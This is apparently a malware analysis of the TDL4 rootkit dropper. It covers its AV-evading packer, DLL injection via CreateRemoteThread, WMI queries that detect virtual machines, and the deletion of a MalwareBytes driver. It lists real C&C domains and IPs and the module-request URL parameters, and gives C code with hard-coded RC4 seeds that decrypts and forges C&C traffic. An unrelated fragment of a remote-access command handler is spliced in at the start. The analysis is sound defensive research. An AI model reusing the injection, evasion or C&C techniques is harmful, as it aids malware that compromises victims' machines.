case AR_DIRBROSOW: goto browse_directory;
case AR_FILEDOWNLOAD: goto file_download;
case AR_FILEUPLOAD: goto file_upload;
default: goto exit;
}
exit:
mDbgMsg("+++");
exc1();
socket2 = socket3;
mDbgMsg(exc1.getMessage());
socket2.close();
mDbgMsg("socke close");
exc3();
browse_directory:
i8 = 0 + 64;
int j8 = readU16(array_b, i8);
int k8 = i8 + 2;
String string3 = new String(Arrays.copyOfRange(array_b, k8, j8 + 66), "UTF-8");
Arrays.fill(array_b, 64, 10176, 0);
i9 = GetDirList(string3, array_b, 64);
AR_DIRBROSOW
: directory browsing, handled by GetDirList()
AR_FILEDOWNLOAD
: file download, handled by mReadFileDataFun()
AR_FILEUPLOAD
: file upload, handled by mWriteFileDataFun()
AR_ONLINEREPORT
: 'online report' commandAR_REMOTESHELL
: remote shell executionoutlkupd.exe
; its file size 1,224Kb. Some of the components that it drops were compiled in July 2012, and some were compiled in September 2012 - so it's relatively a 'fresh' one. The dropper is packed with an interesting packer that disguises the protected executable underneath as a normal code, with the normal flow and innocent API calls. The 'normal' code produced by the protector is designed to fool AV engines: its entropy is fine, so it does not 'ring any bells' within AV heuristics, the APIs it imports are from kernel32.dll and C++ run-time library only, and the algorithm itself displays current time around the world, so no alarms from the AV emulators either: The resources of the dropper indicate it's a 'shell extension library', having a dialog window in its GUI:
push offset aPhoenixAzU_s_2 ; "Phoenix AZ (U.S.) : %2d:%02d\n%d"
sub word ptr [ebp-0Ch], 8A51h
call printf
...
push offset aBeijingMa2d02d ; "Beijing (MA) : %2d:%02d\n"
cmp dword ptr [ebp-20h], 0F001E96Fh
jz loc_4027D9
...
push offset aCurrentTimeAro ; "Current time around the World:"
call printf
The dropper then starts extracting resources from the encrypted stubs of its data section. First, it extracts resource
.data:0040A830 mov dword ptr [esi], offset run_query_ANTI_VM
...
.data:0040A841 mov [esp+20h+var_14], offset _check_usernames
.data:0040A849 cmp eax, esi
.data:0040A84B jnb short next_function_pointer
...
.data:0040A860 lea eax, [esp+20h+Memory]
.data:0040A864 call add_to_function_vector
...
.data:0040AB80 call_next:
.data:0040AB80 call dword ptr [ebx] ; CALL function
.data:0040AB82 test eax, eax
.data:0040AB84 jz short exit_loop
.data:0040AB86 add ebx, 4 ; advance index
.data:0040AB89 cmp ebx, esi ; check against the limit
.data:0040AB8B jnz short call_next ; CALL function
"affid"
of the type of "FILE"
, and decodes it in a string "540"
. Next, it extracts "subid"
resource of "FILE"
type, and decodes it into "direc47"
. Then it concatenates both strings into "540-direc47"
. The string "outlkupd.exe"
is then extracted from the resource "name"
of type "PAIR"
. To make sure there is only instance of the dropper running, the code takes a hard-coded string "ba1039e8cdae53e44ac3e6185b0871f3d031a476"
and appends "1010"
to it to create a mutex, then appends "1011"
to create an event: Global\ba1039e8cdae53e44ac3e6185b0871f3d031a4761010
Global\ba1039e8cdae53e44ac3e6185b0871f3d031a4761011
%TEMP%\outlkupd.exe
%TEMP%\[rnd].tmp
%TEMP%
is a temporary directory. The dropper then checks the version of the operating system, and acts accordingly. If the OS is Windows 2000, Windows XP, Windows Server 2003, or Windows Server 2003 R2, it will run outlkupd.exe
. If the OS is Windows Vista or Windows Server 2008, it will extract resources appverif.exe
and vrfcore.dll
, then run appverif.exe
and wait for 10 seconds before continuing (the user is supposed to accept UAC message during that time). If the OS is Windows 7, Windows 8, Windows Server 2012 or Windows Server 2008 R2, it will extract resource "stclient.dll"
of type PROXY32
as %TEMP%\stclient.dll
, if the OS is 32-bit. If the OS is 64-bit (via calling IsWow64Process()
on its own process), it will instead extract the resource sqmapi.dll
of type PROXY64
as %TEMP%\sqmapi.dll
. Next, it constructs a long string that consists of the following lines: "%SYSTEM%\cmd.exe"
"C:\%TEMP%\sqmapi.dll"
"C:\WINDOWS\ehome"
"C:\WINDOWS\ehome\Mcx2Prov.exe"
"%TEMP%\outlkupd.exe"
%SYSTEM%
may look like "C:\WINDOWS\System32"
on a 32-bit Windows or "C:\WINDOWS\SysWOW64"
on a 64-bit OS. The dropper will then attempt to run a process with the name composed from the lines above, with the CreateProcess()
API. The dropper then attempts to inject the dropped DLL into the launched process and run it there. The injection is implemented by calling CreateRemoteThread()
and passing it as a parameter the address of LoadLibrary()
API in kernel32.dll
, obtained with GetProcAddress()
, and a path of the dropped DLL. Following the steps above, the dropper starts checking if it is running under a virtual machine. To achieve that, it uses Windows Management Instrumentation (WMI) to query a number of key system parameters via WMI query interface. For example, to see if it is running under Qemu emulator, it runs the following WMI queries:
.data:0040FAB0 call VirtualAllocEx
.data:0040FAB6 mov edi, eax
.data:0040FAB8 test edi, edi
.data:0040FABA jz short loc_40FA5D
.data:0040FABC push 0 ; lpNumberOfBytesWritten
.data:0040FABE push ebx ; nSize
.data:0040FABF lea ecx, [esp+14h+FileName]
.data:0040FAC3 push ecx ; lpBuffer
.data:0040FAC4 push edi ; lpBaseAddress
.data:0040FAC5 push esi ; hProcess
.data:0040FAC6 call WriteProcessMemory
.data:0040FACC test eax, eax
.data:0040FACE jz short loc_40FA5D
.data:0040FAD0 mov al, 65h
.data:0040FAD2 push offset dword_4261B4 ; lpModuleName
.data:0040FAD7 mov dword_4261B4, 'nrek'
.data:0040FAE1 mov byte_4261B8, al
.data:0040FAE6 mov dword_4261B9, '.23l'
.data:0040FAF0 mov dword_4261BD, 'lld'
.data:0040FAFA call GetModuleHandleA ; get handle of kernel32.dll
.data:0040FB00 push offset dword_4261C4 ; lpProcName
.data:0040FB05 push eax ; hModule
.data:0040FB06 mov dword_4261C4, 'daoL'
.data:0040FB10 mov dword_4261C8, 'rbiL'
.data:0040FB1A mov dword_4261CC, 'Wyra'
.data:0040FB24 mov byte_4261D0, 0
.data:0040FB2B call GetProcAddress ; get ptr to LoadLibrary
.data:0040FB31 mov ecx, eax ; lpStartAddress
.data:0040FB33 mov eax, edi
.data:0040FB35 mov edx, esi ; hProcess
.data:0040FB37 call _CreateRemoteThread ; run LoadLibrary(path to DLL)
SELECT * FROM Win32_Processor WHERE Name LIKE "%QEMU%"
SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE "%QEMU%"
SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%QEMU%"
SELECT * FROM Win32_Processor WHERE Name LIKE "%Bochs%"
SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%Red Hat%"
SELECT * FROM Win32_SCSIController WHERE Manufacturer LIKE "%Xen%"
SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%Parallels%"
SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%Virtual HDD%"
SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%VMware%"
SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%Microsoft%"
SELECT * FROM Win32_BIOS WHERE Manufacturer LIKE "%innotek%"
SELECT * FROM Win32_DiskDrive WHERE Model LIKE "%VBOX%"
Win32_ProcessName
Win32_UserAccountName
Win32_SystemDriverName
Win32_OperatingSystem (SerialNumber, InstallDate)
ECX
will point into the extracted data, as shown below in case of the MBR resource: "BIN"
MBR
(440 bytes)VBR
(512 bytes)"FILE"
BOOT
(1,515 bytes)DBG32
(6,656 bytes)DBG64
(9,088 bytes)DRV32
(37,888 bytes)DRV64
(42,496 bytes)CMD32
(25,088 bytes)CMD64
(43,520 bytes)LDR32
(6,144 bytes)LDR64
(5,632 bytes)MAIN
(3,809 bytes)AFFID
- "540"
SUBID
- "direc47"
TDI32
(12,800 bytes)TDI64
(16,384 bytes)"PAIR"
NAME
- "outlkupd.exe"
BUILD
(37 bytes)"PROXY32"
APPVERIF.EXE
(173,504 bytes)VRFCORE.DLL
(43,520 bytes)STCLIENT.DLL
(241,664 bytes)SQMAPI.DLL
(43,520 bytes)"PROXY64"
SQMAPI.DLL
(49,664 bytes)PROXY32
and PROXY64
ones). These 'proxy' resources are likely dropped and run in order to trick behavioural analysis systems into believing that the sample in question does not only look nice statically (as explained above), but the files that it drops dynamically are also legitimate, some with the valid digital signatures. This stealthiness makes the extremely vicious TDL4 also very crafty as it manages to bypass many AV solutions on spot. MAIN
resource of TDL4 is a text configuration file. Among other sections, it contains a list of the command and control (C&C) servers that are used for communications: [servers_begin]
7qV2SXF7gv9aKUlN8xMNwdd+nRXbjQ==
7qV2SXF7guxdMlZG+wYX39t80gLBzprn9w==
7qV2SXF7gvRLLlBc+QsQyZx53Bs=
[servers_end]
The server names are in base-64 form, but the unpacked strings are encrypted. How to decrypt them? Let's analyse the following resource first. CMD32
component, as well as its 64-bit counterpart CMD64
, is a DLL that is injected the memory of the system process, according to the configuration of TDL4. For example, if the MAIN
configuration file specifies the section below, then CMD32
can be found within the system process svchost.exe
: [injects_begin]
cmd32|svchost.exe,
[injects_end]
The infected system indeed has svchost.exe
with a memory area where CMD32
runs from, along with the mapped configuration file itself. When CMD32
Dll is run, it checks to make sure it is loaded either into services.exe
or svchost.exe
. Next, it makes sure that explorer.exe
process is also running. If explorer.exe
is not running, the code falls asleep for 3 minutes, then checks again. The Dll then retrieves the image base of its host process and start looking for the APIs called Init()
and Uninit()
. If found, the pointers of these functions are retrieved and remembered. Through the static code analisys, it is assumed that the Init()
and Uninit()
functions are implemented within one of the missing modules that the DLL can download from the command and control servers. The functions are responsible for extracting configuration file (similar to MAIN
) from the JPEG images hosted on the blog sites specified in the MAIN
configuration file. The JPEG images contain concealed configuration data by using steganography. The DLL deletes the registry key:HKLM\SYSTEM\CurrentControlSet\Services\IpFilterDriver
Next, it deletes a file (presumably a legitimate driver file used by MalwareBytes):%SYSTEM%\drivers\mbam.sys
Following that, it applies XOR
81 operation to four 256-bit hard-coded seed values. These seeds are then used to initialise four RC4 keys. These keys are then used for encryption/decryption purposes. The code locates the MAIN
section mapped in the process memory and extracts the server list enclosed within [servers_begin]
and [servers_end]
tags. These names are then unpacked from base-64 and decrypted with RC4 algorithm. Key #3 is used to decrypt the server names below:http://dfsvegasmed.com
http://wahinotisifatu.com
http://owtotmyne.com
193.169.86.56
located in Ukraine, the 3rd domain resolves to IP 93.174.88.224
located in Netherlands. CMD32
then requests a new configuration file from the C&C servers above, by constructing a line with several parameters, as shown below: affid=540&subid=direc47&bbid=1f5af5611542886af50307110b155b02ea41bc35&v=12&fb=1&mode=cfg
The affid/subid
parameters are used to identify the client of TDL4 network, the mode
parameter clearly specifies that a new configuration is needed. The parameters above are mixed with the random value parameters in order to avoid cached server responses. The URL parameters line is encrypted with RC4, by using the key #2, then packed into base-64 format. Once the configuration file is returned by the server, it is decrypted with the RC4 key #1, then scanned for the presence of the tags [SCRIPT_SIGNATURE_CHECK]
and [SCRIPT_SIGNATURE_CHECK_END]
, then mapped back into the host process memory. The DLL then requests from the servers an updated module CMD32/CMD64
with the parameter line: (also mixed with the random value parameters: mode=core&filename=cmd32
The line above is then paranoidly mixed with 5 more random value parameters to avoid server response caching. In order to be able to decrypt configurations from the back-up servers (rogue blog posts), the DLL downloads the COM32/COM64
module with the URL parameter: mode=mod&filename=com32
The same parameter is used to request additional modules specified in the configuration section enclosed with the tags [modules_begin]
and [modules_end]
. To request an updated DRV32/DRV64
module, the DLL constructs the line: mode=core&filename=drv32
If the host processes is terminated, it is immediately restarted with the CMD32
and configuration data immediately re-injected in it. COM32
module, required for decrypting configuration data concealed within the blog posts' JPEG images). Let's build one. Our decryptor will decrypt the C&C server name specified in the configuration, then we'll encrypt it back to see if the same original string is produced (results 1-2). Next, we'll decrypt the URL parameter found in the TDL4 traffic below, and try encrypting our own URL parameter that requests the COM32
module from C&C (results 3-4).where
prepare_seed(seed2); // for config data
prepare_seed(seed3); // for URL parameter
char szResult1[MAX_PATH];
decrypt("7qV2SXF7gv9aKUlN8xMNwdd+nRXbjQ==", szResult1, seed3);
char szResult2[MAX_PATH];
encrypt("http://dfsvegasmed.com", szResult2, seed3);
char szResult3[MAX_PATH];
decrypt("JsVoFkw7PZy+4vo3+ou9d1kWdiq24NpkflIKQDuOUT9+EkJJ2iGaADle3jviKC4VYu/y6B7FyXXOk2EKT...", szResult3, seed2);
char szResult4[MAX_PATH];
encrypt("mode=mod&filename=com32", szResult4, seed2);
prepare_seed()
will XOR
the seeds with 81:The seeds themselves are hard-coded within the
void prepare_seed(LPBYTE seed)
{
for (int i = 0; i < 256; i++)
{
seed[i] ^= (BYTE)i + 81;
}
}
CMD32
binary; they can be copy-pasted from it as:The RC4 algorithm itself can shamelessly be 'borrowed' from the ZeuS source code:
BYTE seed2[256] =
{
0x65,0x4F,0xF7,0xEC,0x02,0xE1,0xA5,0x5C,0xF0,0xC0,0x78,0x58,0x12,0x20,0xD8,0x17,
0xA9,0xF5,0x51,0x62,0x98,0xEC,0xD5,0x0C,0xEE,0x4F,0xDC,0x3E,0x87,0xC6,0x77,0xFF,
0x66,0x14,0x0B,0x3A,0x02,0xE4,0x01,0xBD,0xAE,0x6F,0xAD,0x34,0x3A,0x5B,0xD1,0xF4,
0x9D,0xDF,0xEE,0xDE,0xE5,0x3D,0x29,0x32,0x04,0x57,0xDE,0x92,0x3B,0x94,0x53,0x41,
0x25,0xEF,0xCB,0xED,0x1E,0xB9,0xAB,0x3E,0x5B,0x6E,0x07,0xA6,0x1B,0xB6,0xBA,0xF4,
0x5A,0x3B,0xFC,0xDA,0x78,0xD4,0xFC,0x50,0xB3,0x13,0xB0,0xF5,0xD1,0xF6,0xD6,0xA9,
0xCB,0x0A,0x68,0x03,0x70,0xCE,0x6E,0x8B,0x9F,0x62,0x9E,0x69,0x5B,0x68,0x3A,0xF8,
0x45,0xD4,0x85,0xF2,0x21,0x51,0xA0,0xD2,0x9E,0xAC,0xEC,0xA9,0xCE,0xAA,0xDB,0x15,
0x4A,0xEB,0xB1,0x17,0xFF,0xF3,0x2D,0x40,0x18,0x5F,0x31,0x3F,0x4B,0x29,0x4A,0xA4,
0xFC,0xA1,0x16,0xA6,0x38,0x45,0xEF,0x4A,0x26,0xEE,0xD6,0x62,0xD8,0x04,0x67,0x93,
0x76,0x1F,0x1B,0xBE,0x12,0x34,0x58,0xBF,0xE8,0xF3,0xEB,0x5B,0xB8,0x58,0x8F,0xDC,
0x6E,0x05,0xA7,0x02,0xCA,0x55,0xC9,0xF9,0x39,0xAB,0x24,0xBE,0xE2,0x5F,0x80,0x11,
0x9F,0x00,0x5C,0xA4,0xFB,0x76,0x5A,0x44,0x3A,0xB3,0xB6,0xA3,0x12,0xA5,0x37,0x8B,
0x2C,0x3D,0x4D,0x3F,0xDC,0x2D,0x4B,0xA5,0x15,0xF3,0xB1,0xF4,0xD6,0xF9,0xD5,0x09,
0xAB,0x9E,0x68,0x03,0x6F,0xAE,0xCE,0x34,0x83,0xC2,0x82,0xCB,0x23,0x55,0x25,0x8C,
0x6F,0x89,0x3E,0x8E,0x3C,0x6A,0x43,0x63,0x95,0x3D,0x2F,0x04,0x64,0x10,0x88,0x86,
};
BYTE seed3[256] =
{
0x49,0x8D,0xD1,0x42,0xE9,0x03,0xD5,0x82,0x49,0x42,0xF0,0x8D,0x88,0x74,0xBD,0x6F,
0x78,0x38,0x29,0xD3,0x90,0x47,0xB9,0x51,0xA8,0xD9,0xED,0x49,0x3F,0x93,0x27,0xA1,
0xD0,0xD7,0x85,0x75,0xD2,0x19,0xE0,0x98,0x71,0xBF,0x68,0xD4,0x18,0xA2,0x57,0xDF,
0x44,0xA5,0xBE,0xD7,0xF7,0x60,0xA2,0x0E,0x86,0xCD,0x0E,0xCA,0x09,0x24,0x0C,0x36,
0x4B,0x21,0x73,0x9E,0xC2,0x90,0x4A,0x5A,0xEC,0xF3,0x9F,0x6C,0x4D,0xDA,0xDC,0x68,
0xC2,0xF2,0x62,0x10,0x05,0x15,0x64,0x07,0x68,0xBE,0x88,0x74,0x7E,0x4B,0x7D,0xE6,
0x85,0x52,0xB4,0x7E,0x87,0x03,0xD0,0xF8,0xDF,0x8A,0xE8,0xA9,0x7B,0xDA,0xEE,0x4F,
0x73,0xB6,0xE5,0x07,0x75,0x28,0xD5,0x76,0xD8,0x85,0x76,0x6E,0x91,0xC1,0xBF,0x26,
0xCC,0xDF,0x68,0xBA,0x1A,0xBB,0x46,0xB4,0xC2,0x6C,0x07,0x10,0x50,0x42,0xAD,0xF0,
0x0C,0x78,0x4A,0x1F,0x34,0x89,0xC6,0x11,0x4C,0xB1,0x13,0x22,0x6D,0x55,0x6D,0xDF,
0xA9,0xDC,0x2C,0x8E,0x2B,0x78,0xDB,0x80,0xC6,0x23,0x8E,0x24,0x76,0xC4,0xEC,0x39,
0xD5,0x3A,0xE9,0x9D,0x8C,0x9E,0x18,0x9F,0x17,0x8E,0x9D,0xFB,0x73,0x58,0x49,0xCD,
0x6A,0x1B,0xB5,0xA1,0xB0,0x2B,0xCD,0x24,0x1F,0x0F,0x4B,0x34,0x7B,0xF7,0x7A,0xC8,
0x07,0xA5,0xE6,0x6D,0xE1,0x17,0xA2,0xCE,0x0C,0x82,0xCE,0xBE,0x74,0xD8,0xCC,0xC0,
0x74,0xC3,0x25,0xD5,0x76,0x64,0x93,0x69,0x9A,0x7B,0x3E,0x8D,0xEA,0x4D,0x4E,0x64,
0x06,0x80,0x72,0x2B,0x95,0x8D,0xD6,0xBD,0xD9,0x84,0xBF,0xD3,0xBD,0x61,0xDF,0xF2,
};
The base-64 packer/unpacker along with the decrypt/encrypt functions can then be declared as:
typedef struct
{
BYTE state[256];
BYTE x;
BYTE y;
} RC4KEY;
#define swap_byte(a, b) {swapByte = a; a = b; b = swapByte;}
void rc4_init(const void *binKey, WORD binKeySize, RC4KEY *key)
{
register BYTE swapByte;
register BYTE index1 = 0, index2 = 0;
LPBYTE state = &key->state[0];
register WORD i;
key->x = 0;
key->y = 0;
for (i = 0; i < 256; i++)
{
state[i] = i;
}
for (i = 0; i < 256; i++)
{
index2 = (((LPBYTE)binKey)[index1] + state[i] + index2) & 0xFF;
swap_byte(state[i], state[index2]);
if (++index1 == binKeySize)
{
index1 = 0;
}
}
}
void rc4_crypt(void *buffer, DWORD size, RC4KEY *key)
{
register BYTE swapByte;
register BYTE x = key->x;
register BYTE y = key->y;
LPBYTE state = &key->state[0];
for (register DWORD i = 0; i < size; i++)
{
x = (x + 1) & 0xFF;
y = (state[x] + y) & 0xFF;
swap_byte(state[x], state[y]);
((LPBYTE)buffer)[i] ^= state[(state[x] + state[y]) & 0xFF];
}
key->x = x;
key->y = y;
}
Running the tool produces the expected results:
#pragma comment (lib, "Crypt32.lib")
int ToBase64Crypto(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst)
{
DWORD nLenOut= nLenDst;
BOOL fRet= CryptBinaryToString((const BYTE*)pSrc,
nLenSrc,
0x40000001,
pDst,
&nLenOut);
if (!fRet)
{
nLenOut=0;
}
return nLenOut;
}
int FromBase64Crypto(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst)
{
DWORD nLenOut= nLenDst;
BOOL fRet= CryptStringToBinary((LPCSTR)pSrc,
nLenSrc,
0x00000001,
(BYTE*)pDst,
&nLenOut,
NULL,
NULL);
if (!fRet)
{
nLenOut=0;
}
return nLenOut;
}
void decrypt(char *szBase64, char *szResult, LPBYTE seed)
{
memset(szResult, 0, MAX_PATH);
int iResultLength = FromBase64Crypto((LPBYTE)szBase64,
(int)strlen(szBase64),
szResult,
MAX_PATH);
RC4KEY rc4_key;
rc4_init(seed, 256, &rc4_key);
rc4_crypt((LPBYTE)szResult, iResultLength, &rc4_key);
}
void encrypt(char *szStringToEncrypt, char *szResult, LPBYTE seed)
{
char szTemp[MAX_PATH];
strcpy_s(szTemp, MAX_PATH, szStringToEncrypt);
RC4KEY rc4_key;
rc4_init(seed, 256, &rc4_key);
rc4_crypt((LPBYTE)szTemp, strlen(szTemp), &rc4_key);
memset(szResult, 0, MAX_PATH);
int iResultLength = ToBase64Crypto((LPBYTE)szTemp,
(int)strlen(szTemp),
szResult,
MAX_PATH);
}
ba1039e8cdae53e44ac3e6185b0871f3d031a476
is not hard-coded, it's a SHA-1 hash derived from the system footprint (Windows OS, product ID); thanks to the user 0x16/7ton
for correction!